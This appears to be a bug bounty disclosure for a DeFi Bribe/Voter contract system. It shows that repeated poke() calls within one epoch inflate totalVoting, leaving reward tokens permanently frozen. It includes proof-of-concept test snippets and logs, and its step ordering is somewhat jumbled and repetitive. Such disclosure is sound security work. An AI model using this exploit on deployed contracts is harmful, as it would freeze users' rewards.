The _priorSupply is taken from votingCheckpoints[].votes. This votes are updated whenever the deposit function into Bribe is called when user vote via Voter contract.
With that basic understanding, I will explain the Vulnerability now.
The vulnerability is that when user deposit() by calling vote() function via Voter contract, then the _writeVotingCheckpoint() is called. Then the votingCheckpoints[].votes is updated to be the totalVoting. In the function deposit, the totalVoting is increased. But in function withdraw() the totalVoting is not decreasing.
So now in the Voter contract, the function poke() allows the owner of tokenId to call in the same EPOCH. If this happen, then the vote of user is first withdrawned and then deposit again. The balanceOf and totalSuppy is accounting correctly, but the totalVoting will be increased because in withdraw() function, it was not updated.
So if a user call poke() in the same EPOCH, he will cause the totalVoting to be wrong. The attacker can maliciously call poke() several times to maliciously inflate the totalVoting.
When the totalVoting is inflated, each user will receive less reward intended by the system. So total earned will be less then the total reward. The reward left in the contract will be frozen as there is no way to take this reward out of the contract.
To easier for understanding, I will explain this with a scenario.
Step 1:
3 users: Alice, Bob and the attacker create locks with 1e18 BPT token
Step 4: Fast forward 1 EPOCH and each user will be able to claim 1/3 of 100_000e18 BAL token as reward. If all users claim then the left token in the contract will be nearly zero.
So each user will get: 33333.33333333e18 that is 1/3 of the reward. This is expected amount
Log:
Fast forward 1 epoch
earnedBribes1 33333333333333333333333
earnedBribes2 33333333333333333333333
earnedBribes3 33333333333333333333333
Bal balance of attacker: 33333333333333333333333
Bal balance of Alice: 33333333333333333333333
Bal balance of Bob: 33333333333333333333333
Bal balance of Bribe contract: 1
But if the user call poke() in the same EPOCH as in the step 3, then the totalVoting will be inflated.
I demonstrated this in the test case testBribeClaimingPoke_Hacked_2()
hevm.prank(attacker); voter.vote(tokenId1, pools, weights,0); console2.log("totalVoting after vote(): %",IBribe(bribeAddress).totalVoting()); console2.log("Call voter poke()"); hevm.startPrank(attacker); voter.poke(tokenId1); console2.log("totalVoting after poke(): %",IBribe(bribeAddress).totalVoting()); hevm.stopPrank();
The log shows:
totalVoting after vote(): % 1999407217131972451
Call voter poke()
totalVoting after poke(): % 3998814434263944902
And then in step 4, the total of rewards claimed by all users will be less than the total reward. There will be tokens left in the contract. Bal balance of Bribe contract: 25000000000000000000000
[PASS] testBribeClaimingPoke_Hacked_2() (gas: 4471757)
Logs:
Bal balance of Bribe contract: 100000000000000000000000
totalVoting after vote(): % 1999407217131972451
Call voter poke()
totalVoting after poke(): % 3998814434263944902
earnedBribes0 0
earnedBribes2 0
earnedBribes3 0
Fast forward 1 epoch
earnedBribes1 25000000000000000000000
Bal balance of attacker: 25000000000000000000000
earnedBribes2 25000000000000000000000
earnedBribes3 25000000000000000000000
Bal balance of Alice: 25000000000000000000000
Bal balance of Bob: 25000000000000000000000
Bal balance of Bribe contract: 25000000000000000000000
Now the attacker can also exploit this vulnerablity to cause "Permanent freezing of unclaimed yield" or 'Permanent freezing of unclaimed royalties" by maliciously call poke() many times to inflate totalVoting. The left amount of reward will be stuck in this contract. There is no way to get it out so it is Permanent freezing of unclaimed yield. s
I demonstrated this in the test case: testBribeClaimingPoke_Hacked()
hevm.prank(attacker); voter.vote(tokenId1, pools, weights,0); console2.log("totalVoting after vote(): %",IBribe(bribeAddress).totalVoting()); console2.log("Call voter poke()"); hevm.startPrank(attacker); voter.poke(tokenId1); console2.log("totalVoting after poke(): %",IBribe(bribeAddress).totalVoting()); voter.poke(tokenId1); console2.log("totalVoting after poke(): %",IBribe(bribeAddress).totalVoting()); voter.poke(tokenId1); console2.log("totalVoting after poke(): %",IBribe(bribeAddress).totalVoting()); hevm.stopPrank();
So the totalVoting will be inflated more and the left token will be more. In this POC, the Bal balance left in the Bribe contract 50000000000000000000002 that is 1/2 of the reward amount.
Log:
Bal balance of Bribe contract: 100000000000000000000000
Call voter poke()
totalVoting after poke(): % 3998814434263944902
totalVoting after poke(): % 5998221651395917353
totalVoting after poke(): % 7997628868527889804
Fast forward 1 epoch
earnedBribes1 16666666666666666666666
Bal balance of attacker: 16666666666666666666666
earnedBribes2 16666666666666666666666
earnedBribes3 16666666666666666666666
Bal balance of Alice: 16666666666666666666666
Bal balance of Bob: 16666666666666666666666
Bal balance of Bribe contract: 50000000000000000000002
Impacts
About the severity assessment
The impact of this vulnerability is: This bug will result in "Permanent freezing of unclaimed yield" or 'Permanent freezing of unclaimed royalties" because the reward token will be left in the Bribe contract and cannot be taken out, so it is permanently frozen in this contract.
This bug can happen with normal users when the call the poke() in the same EPOCH as vote().
Or this bug can be exploited by attacker to cause this impact.
This bug severity: High Category: Permanent freezing of unclaimed yield or Permanent freezing of unclaimed royalties
Capital for the attack: Gas to execute the transactions. Some amount of BPT to invest to lock to get the VeAlcx tokens.
Easy to exploit and easy to be automated.
Proof of concept
Proof of concept
I created 3 test cases to demonstrate the 3 scenarios for attack and a normal scenario to clearly see the attack.
Step 3.1: Attacker call poke() repeatedly to inflate the totalVoting
console2.log("totalVoting after vote(): %",IBribe(bribeAddress).totalVoting()); console2.log("Call voter poke()"); hevm.startPrank(attacker); voter.poke(tokenId1); console2.log("totalVoting after poke(): %",IBribe(bribeAddress).totalVoting()); voter.poke(tokenId1); console2.log("totalVoting after poke(): %",IBribe(bribeAddress).totalVoting()); voter.poke(tokenId1); console2.log("totalVoting after poke(): %",IBribe(bribeAddress).totalVoting()); hevm.stopPrank();
Step 4: Fast forward 1 EPOCH and each user will be able to claim 1/3 of 100_000e18 BAL token as reward. If all users claim then the left token in the contract will be nearly zero.
[PASS] testBribeClaimingPoke_Hacked() (gas: 4855977)
Logs:
Bal balance of Bribe contract: 100000000000000000000000
Call voter poke()
totalVoting after poke(): % 3998814434263944902
totalVoting after poke(): % 5998221651395917353
totalVoting after poke(): % 7997628868527889804
earnedBribes0 0
earnedBribes2 0
earnedBribes3 0
Fast forward 1 epoch
earnedBribes1 16666666666666666666666
Bal balance of attacker: 16666666666666666666666
earnedBribes2 16666666666666666666666
earnedBribes3 16666666666666666666666
Bal balance of Alice: 16666666666666666666666
Bal balance of Bob: 16666666666666666666666
Bal balance of Bribe contract: 50000000000000000000002
testBribeClaimingPoke_Hacked_2()
I also created the test case for the case that a normal user call poke() in this POC:
[PASS] testBribeClaimingPoke_Hacked_2() (gas: 4470612)
Logs:
Bal balance of Bribe contract: 100000000000000000000000
Call voter poke()
totalVoting after poke(): % 3998814434263944902
earnedBribes0 0
earnedBribes2 0
earnedBribes3 0
Fast forward 1 epoch
earnedBribes1 25000000000000000000000
Bal balance of attacker: 25000000000000000000000
earnedBribes2 25000000000000000000000
earnedBribes3 25000000000000000000000
Bal balance of Alice: 25000000000000000000000
Bal balance of Bob: 25000000000000000000000
Bal balance of Bribe contract: 25000000000000000000000
testBribeClaimingPoke_Normal()
I also created the test case for a normal scenario
[PASS] testBribeClaimingPoke_Normal() (gas: 5253330)
Logs:
Bal balance of Bribe contract: 100000000000000000000000
earnedBribes0 0
earnedBribes2 0
earnedBribes3 0
Fast forward 1 epoch
earnedBribes1 33333333333333333333333
earnedBribes2 33333333333333333333333
earnedBribes3 33333333333333333333333
Bal balance of attacker: 33333333333333333333333
Bal balance of Alice: 33333333333333333333333
Bal balance of Bob: 33333333333333333333333
Bal balance of Bribe contract: 1
The left token in the contract in this scenario is 1 token, that is just dust.